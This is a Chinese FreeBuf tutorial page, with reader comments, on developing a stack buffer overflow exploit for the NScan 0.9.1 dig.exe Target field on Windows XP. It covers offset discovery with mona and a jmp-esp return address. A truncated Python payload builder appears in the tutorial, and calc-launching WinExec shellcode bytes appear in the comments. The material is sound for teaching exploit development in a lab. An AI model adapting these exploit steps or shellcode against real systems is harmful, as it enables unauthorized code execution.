漏洞利用
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
Windows漏洞利用开发教程Part 1 zusheng专栏作者2018-04-09现金奖励共336031人围观 ,发现 51 个不明物体 新手科普系统安全
* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载
p1.jpg
0×01 前言
漏洞-信息安全界最常见的词汇,在百度百科是这样描述的。
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
本文主要介绍的是Windows软件漏洞的利用开发教程。
我花了大量的时间来研究了计算机安全领域Windows漏洞利用开发,希望能和大家分享一下,能帮助到对这方面感兴趣的朋友,如有不足,还请见谅。
0×02 准备阶段
由浅入深,从简单的入手然后慢慢的学习更复杂的系统攻击,我们先来学习一下Windows XP(32位)简单的缓冲区溢出攻击。所以我们需要准备以下工具:
1、Windows XP SP3 32-bit系统iso镜像
2、Immunity Debugger-漏洞分析专用调试器
3、代码文本编辑器(个人喜好,我用的是notepad++)
准备好上面的三个后,我们开始搭建虚拟机环境,这个我就简单的介绍一下。
这里我使用的是VMware,我们打开软件后新建一个虚拟机,然后就是安装系统很简单。
p2.png
0×03 漏洞分析
现在你肯定想动手试一试了,我们的目标是Windows端口扫描仪NScan版本0.9.1
漏洞地址:
https://www.exploit-db.com/exploits/40297/
软件下载地址:
https://www.exploit-db.com/apps/b235ebf93610e43c8b2246ea39d71ba7-nscan091.exe
软件下载安装
p3.pngp3.png
阅读文档我们知道漏洞出自dig.exe的Target字段,这是一个堆栈缓冲区溢出错误。
验证
现在我们来验证一下错误的触发,将1100个A字符串输入到Target字段中并点击TCP lookup,观察它是否崩溃。
获取1100个a字符
python:
print 'a'*1100
15221322156433.png!small
点击后我们发现确实程序崩溃了
1522132223498.png!small
由用户输入导致的程序崩溃是一个漏洞利用开发的开始。
分析
我们知道该程序因为我们的输入奔溃啦,现在来分析一下它为什么会崩溃。
第一步:打开Immunity Debugger
15221322307602.png!small
点击File-Open打开dig.exe
15221322373349.png!small
点击Run program或者按F9让程序运行。
15221322431117.png!small
运行完我们继续触发崩溃。
15221322507939.png!small
崩溃后我们来看寄存器。
15221322583499.png!small
看EIP寄存器0×61616161,这是哪里来的?其实它是我们输入的,字符串a的十六进制ASCII就是61。程序将字母a存入文本字段缓冲区直到溢出并替换堆栈上返回地址的内容。因此我们称为堆栈缓冲区溢出漏洞。这意味着我们可以控制EIP寄存器的值从而控制目标程序的执行流程。
0×04 漏洞利用开发
现在我们想要利用这个控制并执行我们自己的控制代码。
寻找EIP offset
首先我们需要找到EIP offset,也就是正好覆盖到EIP的偏移量以便我们精准的覆盖EIP寄存器。所以我们要知道哪4个 a是放入到了EIP寄存器中,这就很复杂了,当然方法是有的,这里我们使用Immunity Debugger的插件mona,这样我们就避免了平常复杂的寻找方法。
安装mona:
https://github.com/corelan/mona
将mona.py放在Immunity Debugger安装目录PyCommands下就行了。
第一步:设置mona文本日志所在的文件夹
!mona config -set workingfolder c:\logs\%p
15221322664340.png!small
第二步:生成1100个测试字符
!mona pattern_create 1100
运行完在C:\logs\dig\pattern.txt中找到。
15221322733418.png!small
第三步:复制测试字符串,将测试字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)
15221322798399.png!small
可以发现EIP地址现在是0×68423268
第四步:确定偏移量
!mona pattern_offset 0x68423268
15221322861177.png!small
我们找到了偏移量997
测试
我们找到了,但是这对不对呢,我们来测试一下,我们使用Python脚本来生成一个Payload。
bfsize = 1100
a = "\x41"*997
eip = "\x42"*4
exploit = a + eip
c = "\x43"*(bfsize-len(exploit))
buffer = exploit + c
print buffer
print "Buffer size: " + str(len(buffer)) + "\n"
很简单的一个脚本生成一个1100字符的测试payload
15221322951151.png!small
将测试字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)
15221323039758.png!small
不出意外,EIP被精确的覆盖。
寻找合适的地址覆盖EIP
现在,我们已经证实我们可以将EIP覆盖为任意地址,那么到底覆盖为哪个地址呢?对于本教程,我们将选择ESP寄存器作为我们代码执行目标。
CTRL+F2重新运行
15221323159839.png!small
点击Run program或者按F9让程序运行然后输入指令
!mona jmp -r esp
15221323256441.png!small
稍作等待,我们进入mona日志目录(前面设置的目录),可以发现jmp.txt
15221323343468.png!small
我们通常选择kernel32.dll模块。
开发框架
准备的差不多了,我们现在来完成生成Payload的Python框架吧。
# -*- coding: UTF-8 -*-
import struct
junk = "A" * 997 #偏移
eip = struct.pack("
[+]Exploit successfully!
我们复制生成的payload,将payload字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)
15221323625806.png!small
很好,我们终于一步步完成了,成功弹出了一个计算器。
0×05 总结
一步步遇到的坑也不少,希望能帮助到需要的朋友,下面来总结一下本文一些知识点吧。在文中我们一步步证码了漏洞的存在,多次使用了Immunity Debugger的插件mona很大减少了复杂的操作步骤,查找函数地址,简单的构建了一个弹计算器的shellcode。本人水平有限,如有不足,还请各位兄弟指出。
* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载
zusheng
zusheng
19 篇文章
等级: 6级
||
上一篇:没事儿下个副本吧?逆向新手踩坑指南下一篇:间谍软件Agent Tesla变种再现:通过特制Word文档诱导安装
发表评论已有 51 条评论
赵伟 2018-04-09回复 1楼
哈哈,挺详细的,支持一下,感谢分享啦
亮了(1)
hundan 2018-04-09回复 2楼
看雪翻译的那个系列也不错,跟楼主这个基本一样,不知道楼主写这个是不是参考了那个系列?
亮了(0)
zusheng 专栏作者(6级) 2018-04-09回复
@ hundan 并没有参考那个系列,有点巧合吧,毕竟第一篇基础知识上差不多。本文参考是肯定参考的,基本上是参考了国外好几篇。
亮了(0)
5ecurity (3级) 2018-04-09回复 3楼
很详细,学习一下。
亮了(0)
zusheng 专栏作者(6级) 2018-04-09回复
@ 5ecurity 谢谢支持
亮了(0)
死宅10086 (7级) 2018-04-09回复 4楼
感谢分享 :grin: 爱你哦 :grin:
亮了(3)
zusheng 专栏作者(6级) 2018-04-09回复
@ 死宅10086 哈哈,七级大佬,你好啊。
亮了(0)
ziluobu (3级) 2018-04-09回复 5楼
讲解的浅显易懂,感谢。
亮了(0)
zusheng 专栏作者(6级) 2018-04-09回复
@ ziluobu 感谢支持
亮了(0)
方小贱 2018-04-10回复 6楼
谢谢分享 期待楼主写更多的exp
亮了(0)
中华隐士家族 (2级) 2018-04-10回复 7楼
这才是真正的干货
亮了(0)
QQ浏览器 2018-04-13回复 8楼
大佬 ,计算器是 calc, # push 0x636c6163,这句话应该是 push 0x63616c63
亮了(0)
zusheng 专栏作者(6级) 2018-04-13回复
@ QQ浏览器 兄弟,入栈操作是从右到左。
亮了(0)
jamzy (1级) 2018-05-14回复
@ QQ浏览器 这是大端序 小端序的问题
亮了(0)
evilknight (3级) 2018-10-29回复
@ QQ浏览器 这里的作用其实就是把字符串calc保存在栈上,供后面winexec调用,但是push进去的是数字,数字存在大小端的问题,所以得那么写。
亮了(0)
haibara3839 (1级) 2018-04-14回复 9楼
亮了(0)
whatement (1级) 2018-04-16回复 10楼
感谢大佬分享
亮了(0)
进击的大熊2018 (4级) 微信公众号:进击的大熊 2018-04-17回复 11楼
感谢分享,好人一生平安
亮了(0)
luchfang (1级) 2018-04-24回复 12楼
nops = "\x90" * 10 楼主,这个填充字节为什么是10个字节,是通过怎样测试出来的,不是很明白,能不能介绍一下 :oops:
亮了(0)
zusheng 专栏作者(6级) 2018-04-25回复
@ luchfang 你可以想象在跳板滑雪时想要平稳落地需要找一块平地一样,具体这个平地多大一个个试一试,基本上在20左右。
亮了(0)
因为编译错误 (1级) 2018-04-26回复 13楼
对我这种刚开始接触的很有用啊~谢谢~
亮了(0)
summiting (1级) 2018-04-26回复 14楼
感谢
亮了(0)
summiting (1级) 2018-04-27回复 15楼
楼主请问 那个jmp跳到 esp寄存器中的地址,然后出现kernel32.dll是怎么回事,是kernel32.dll的入口地址就是esp寄存器的地址么?
你那个代码的意思是不是加载完kernel.dll模块之后然后执行shell code 再然后fill?
你这怎么保证执行完kernel.dll之后就执行shellcode呢。
难道将shellcode压入esp寄存器里面就会自动执行么?
只是有很多疑惑,楼主勿怪,是不是我基础差才有那么多疑问?
亮了(1)
zusheng 专栏作者(6级) 2018-04-27回复
@ summiting
1、覆盖为那个地址,程序执行流程就会进入kernel32模块了
2、这也是为什么要在EIP和shellcode中间加入NOP,这是确保程序返回后能顺利的执行shellcode,解释不如动手,你可以尝试跟踪一下程序运行流程。
3、fill只是确保程序会触发溢出,你可以再小一点,如果程序都不会触发崩溃溢出,你如何构建都是没啥用啊。为什么是2000?这不是一个具体数字,你要确保程序崩溃溢出就行了。
4、shellcode并不是放入了esp寄存器,而是在栈区。你可以想象call esp就是一个滑雪的跳板。
亮了(2)
summiting (1级) 2018-05-14回复
@ zusheng 感谢解答
亮了(0)
커피 밀크흥차 고양이 (1级) 2018-05-14回复 16楼
谢谢楼主 会继续支持楼主 希望尽快更新
亮了(0)
Aureliano (1级) 2018-05-14回复 17楼
学习了 感谢楼主
亮了(0)
sumiting 2018-05-15回复 18楼
shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0
shellcode += "\x51" # push ecx 将ecx寄存器压入栈中
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中
shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中
shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD 将计算器函数的内存地址赋给eax寄存器
shellcode += "\xFF\xD0" # call eax 调用这个函数
这个shellcode有点不能理解,,感觉只需要最后两条 mov eax,0x7c8623AD call eax就能实现调用计算器了,前面那些push实在不能理解,希望看到的大佬能帮忙解答下。。。
亮了(1)
test 2018-06-05回复
@ sumiting 0x7c8623AD is the address of WinExec
亮了(0)
summiting (1级) 2018-05-15回复 19楼
shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0
shellcode += "\x51" # push ecx 将ecx寄存器压入栈中
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中
shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中
shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD 将计算器函数的内存地址赋给eax寄存器
shellcode += "\xFF\xD0" # call eax 调用这个函数
这个shellcode有点不能理解,,感觉只需要最后两条 mov eax,0x7c8623AD call eax就能实现调用计算器了,前面那些push实在不能理解,希望看到的大佬能帮忙解答下。。。
亮了(0)
zusheng 专栏作者(6级) 2018-06-25回复
@ summiting 这是在调用WinExec函数,前面是在将参数入栈啊。详见函数调用约定。
亮了(0)
sumiting 2018-10-11回复
@ supervisor 你这个搞好了么?我的也是弹计算器的那段shellcode在txt中是一段乱码,我把包括乱码的那个字符串复制到程序中,跟你的结果一样
亮了(0)
evilknight (3级) 2018-10-29回复
@ summiting
shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0
shellcode += "\x51" # push ecx 将ecx寄存器压入栈中
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中
这三行代码的作用是把calc字符串保存在栈上,字符串是以结尾的,所以有了前面的xor ecx,ecx; push ecx
shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中
上面用的是push操作,esp的值会相应的变化,push esp就相当于把calc字符串的首地址传给winexec
亮了(0)
1024凑个整 (1级) 2018-05-16回复 20楼
为毛我输入1100个a并没有奔溃啊
亮了(1)
Thompson 2018-05-24回复 21楼
他妈的,弹不出calc,shellcode是乱码怎么往target里面写啊,写了乱码在调试器里面根本不是我要的代码
亮了(1)
Thompson 2018-05-24回复 22楼
不对,我验证了一下,在虚拟机里面通过了,但是实体机,pc上面不行,不行啊。。。。
亮了(0)
zusheng 专栏作者(6级) 2018-06-25回复
@ Thompson 这不是虚拟机和实体机问题,而是操作系统不同
亮了(0)
coolboy08 (1级) 2018-06-22回复 23楼
有seh的,覆盖不到指定eip啊,无法使用kernel32模块啊,求大佬解决
亮了(0)
coldface 2018-06-22回复
@ coolboy08 兄弟你看看作者其他几篇文章啊,有SEH后面文章有介绍
亮了(0)
coolboy08 (1级) 2018-06-24回复
@ coldface 谢啦,哥们,才看到
亮了(0)
coolboy08 (1级) 2018-06-25回复 24楼
,这个怎么找kernel32模块的地址啊
亮了(0)
zusheng 专栏作者(6级) 2018-06-25回复
@ coolboy08 看后面modulename path路径啊,查看属于哪个dll,这是文本文件,你直接搜索kernel32就行啦
亮了(0)
coolboy08 (1级) 2018-06-25回复
@ zusheng 您好,是那个base地址么,我尝试了以后在程序里变成了74D02020
亮了(0)
zusheng 专栏作者(6级) 2018-06-27回复
@ coolboy08 首先请你了解一下你的EIP寄存器,然后你的断点是设置在哪里的,程序运行过去了,EIP指针肯定发生变化啊。
亮了(0)
zusheng 专栏作者(6级) 2018-06-27回复
@ coolboy08 请保证你的操作系统是Windows XP SP3 32-bit,操作系统不同,也要做相应的变化。
亮了(0)
supervisor 2018-07-15回复 25楼
0x7c836a08 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll]
————————————————————————-
00000385 0006250D WinExec .text
imageBasse: 7C800000
offset: 0006250D
tagetAddress:imageBasse+offset
7C86250D
—————————————————————————
# -*- coding: UTF-8 -*-
import struct
junk = "A" * 997 #偏移
eip = struct.pack("
文章评论